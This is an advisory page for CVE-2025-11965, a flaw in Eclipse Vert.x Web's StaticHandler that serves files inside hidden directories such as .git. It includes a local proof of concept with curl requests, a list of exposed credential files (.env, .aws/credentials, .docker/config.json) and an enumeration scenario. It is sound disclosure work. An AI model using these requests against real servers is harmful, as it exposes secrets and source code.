CVE-2025-11965: High severity Eclipse Vert.x vulnerability
Description
There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.
In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:
- Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served. - Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.
As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.
Steps to Reproduce
bash 1. Prepare test environment
Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git
Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: APIKEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config
java 2. Implement test server
import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler;
public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx);
// Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false);
router.route("/").handler(staticHandler);
vertx.createHttpServer() .requestHandler(router) .listen(8082); }
public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } }
bash 3. Confirm the vulnerability
Normal file (accessible) curl http://localhost:8082/visible.txt Result: 200 OK
Hidden file (correctly blocked) curl http://localhost:8082/.git Result: 404 Not Found
File under hidden directory (vulnerable) curl http://localhost:8082/.git/config Result: 200 OK - Returns contents of Git config
Potential Impact
1. Information Disclosure
Examples of sensitive files that could be exposed:
- .git/config: Git repository settings (e.g., remote URL, credentials) - .env/: Environment variables (API keys, DB credentials) - .aws/credentials: AWS access keys - .ssh/knownhosts: SSH host trust info - .docker/config.json: Docker registry credentials
2. Attack Scenarios
- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. - Especially dangerous for .git/HEAD, .git/config, .git/objects/ — which may allow full reconstruction of source code.
3. Affected Scope
- Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) - Environments: All OSes (Windows, Linux, macOS) - Configurations: All applications using StaticHandler.setIncludeHidden(false)
Other sources
In Eclipse Vert.x versions [4.0.0, 4.5.21] and [5.0.0, 5.0.4], a StaticHandler configuration for restricting access to hidden files fails to restrict access to hidden directories, allowing unauthorized users to retrieve files within them (e.g. '.git/config').
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-11965?
CVE-2025-11965 is classified as a high severity vulnerability.
How do I fix CVE-2025-11965?
To fix CVE-2025-11965, upgrade to Eclipse Vert.x version 4.5.22 or 5.0.5 or later.
What versions of Eclipse Vert.x are affected by CVE-2025-11965?
Eclipse Vert.x versions 4.0.0 to 4.5.21 and 5.0.0 to 5.0.4 are affected by CVE-2025-11965.
What type of files can be accessed due to CVE-2025-11965?
CVE-2025-11965 allows unauthorized access to hidden files within hidden directories, such as '.git/config'.
Who is impacted by CVE-2025-11965?
Users and applications utilizing the specified affected versions of Eclipse Vert.x are impacted by CVE-2025-11965.